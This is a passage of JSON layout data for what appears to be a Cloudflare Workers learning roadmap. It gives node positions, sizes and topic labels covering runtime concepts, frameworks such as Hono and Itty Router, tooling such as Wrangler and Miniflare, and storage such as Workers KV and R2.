\"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zR84MFLL6y0dygz9hXXPA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.39946958507926,\n        \"y\": 189.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.39946958507926,\n        \"y\": 189.38749407694564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Isl5anwDvb1MacA-JH4ej\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.39946958507926,\n        \"y\": 242.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Serverless Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.39946958507926,\n        \"y\": 242.38749407694564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L3L2_HrESg8SuStKNID8l\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 214.8994695850793,\n        \"y\": 93.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prerequisites\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"QifY92ONTomFx_FwRxPJI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": 214.8994695850793,\n        \"y\": 93.38749407694564\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QifY92ONTomFx_FwRxPJI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 511.89946958507926,\n        \"y\": 93.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Development Skills\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 511.89946958507926,\n        \"y\": 93.38749407694564\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7XrG-k9T12u84Pwp4YwaY\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 111.5,\n        \"y\": 460.64601177168015\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers Core Concepts\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 62,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 62\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 111.5,\n        \"y\": 460.64601177168015\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 62\n      }\n    },\n    {\n      \"id\": \"TB6vGzDgGZ9yAd9MGR7vw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 224.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers Runtime Environment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 224.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aGWLomYHGkIfn7GFc0_Yl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 277.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Edge Computing Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 277.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HNEXPU6r_T7UYvwLv2wnt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 330.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Request/Response Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 330.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_2UnRlbUplHvs5-Stj4O4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 383.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fetch API and Runtime APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 383.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i6L9FI6fBDXr0XtMrc_uR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 436.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 436.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WZSi9inWPhqZQvDN-C8BV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 489.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Bindings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 489.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uBjcQ9PJUfwzu5N_2CNjN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 542.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 542.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aStbAF4zraqhJ-N3RH4ha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 595.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Middleware Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 595.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9ef2VPCru8lCmRxxGe-Eo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.42440139623136,\n        \"y\": 648.9890672390103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bindings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.42440139623136,\n        \"y\": 648.9890672390103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g4hjyQF8-SpjPi8mYtIsk\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 233,\n        \"y\": 15.028193715390685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"positionAbsolute\": {\n        \"x\": 233,\n        \"y\": 15.028193715390685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"imU-blmfZ__YCFynXZ8aI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 233.5,\n        \"y\": 356.88749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"g4hjyQF8-SpjPi8mYtIsk\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"positionAbsolute\": {\n        \"x\": 233.5,\n        \"y\": 356.88749407694564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"id\": \"IubwhdnyWtjpejkGOfnPy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 111.5,\n        \"y\": 597.5006120234757\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks and Tools\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"7XrG-k9T12u84Pwp4YwaY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 62,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 62\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 111.5,\n        \"y\": 597.5006120234757\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 62\n      }\n    },\n    {\n      \"id\": \"-8MsWNvuqwQCbLpOx_kov\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.52297244223314,\n        \"y\": 463.23202364103037\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hono\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.52297244223314,\n        \"y\": 463.23202364103037\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"15jl6CSCkqnh_eFfysLDM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 598.5229724422331,\n        \"y\": 463.23202364103037\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Itty Router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 598.5229724422331,\n        \"y\": 463.23202364103037\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Tzx93tvoGrc9_fKQqkorN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.52297244223314,\n        \"y\": 652.7216082137738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Wrangler\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.52297244223314,\n        \"y\": 652.7216082137738\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uoaOrypiMkyoikXvTHeVS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.52297244223314,\n        \"y\": 707.1589098955067\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevTools Integration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.52297244223314,\n        \"y\": 707.1589098955067\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8Y6TIYoWIXrxtmzDVdS0b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.52297244223314,\n        \"y\": 774.7087100899473\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI/CD Pipelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.52297244223314,\n        \"y\": 774.7087100899473\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ssvZh7zn9xUY2Wi-F_d4J\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 549.3509487035327,\n        \"y\": 421.75533719211336\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Routers\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 549.3509487035327,\n        \"y\": 421.75533719211336\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"LkvWKmUklK1-n8dQB4w2U\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 522.5229724422331,\n        \"y\": 522.7553371921133\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"ssvZh7zn9xUY2Wi-F_d4J\"\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 522.5229724422331,\n        \"y\": 522.7553371921133\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"zSwio18XdBfqwSneAx_AP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.52297244223314,\n        \"y\": 558.7553371921133\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Any Frontend Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 243,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.52297244223314,\n        \"y\": 558.7553371921133\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"diIGB553YTGIw2qYRSj0X\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 530.30644608346,\n        \"y\": 616.7216082137738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building / Deploying\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LkvWKmUklK1-n8dQB4w2U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 530.30644608346,\n        \"y\": 616.7216082137738\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"o4sBgniPmLqwej6TlIPcl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 615.3833983689781,\n        \"y\": 652.7216082137738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Miniflare\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Tzx93tvoGrc9_fKQqkorN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 615.3833983689781,\n        \"y\": 652.7216082137738\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3BGY76hTLAE8PY7OXQtNR\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 138.5,\n        \"y\": 768.6355963444237\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storage Solutions\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"IubwhdnyWtjpejkGOfnPy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 67,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 138.5,\n        \"y\": 768.6355963444237\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"1dGFfQauOgHP7T4ReMpCU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -255.0107846621675,\n        \"y\": 777.6355963444237\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Workers KV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -255.0107846621675,\n        \"y\": 777.6355963444237\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EBTHbXOOZiqrcYJvKhcWV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -255.0107846621675,\n        \"y\": 853.0363756231689\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key-value Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -255.0107846621675,\n        \"y\": 853.0363756231689\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sQlRIYLnZcugATgpogJmw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -255.0107846621675,\n        \"y\": 906.0363756231687\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metadata Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -255.0107846621675,\n        \"y\": 906.0363756231687\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i64-aCpZHygq76fBU6eXD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -255.0107846621675,\n        \"y\": 959.0363756231687\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bulk Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -255.0107846621675,\n        \"y\": 959.0363756231687\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OgW-iIrJZ5-sOWKnFpIZd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -255.0107846621675,\n        \"y\": 1012.0363756231689\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -255.0107846621675,\n        \"y\": 1012.0363756231689\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gxLUlXGuaY5Q-0xmBgQwz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 158.27909338877345,\n        \"y\": 991.6457010436021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"R2 Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 158.27909338877345,\n        \"y\": 991.6457010436021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"K9iW2H6riKwddWmpWJFJw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 885.6457010436021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 885.6457010436021\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BPahk1qH9Hk11tsE2hw3A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 938.6457010436021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Large File Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 938.6457010436021\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3jU5753Uza2aS-gZo7w4k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 991.6457010436021\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asset Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 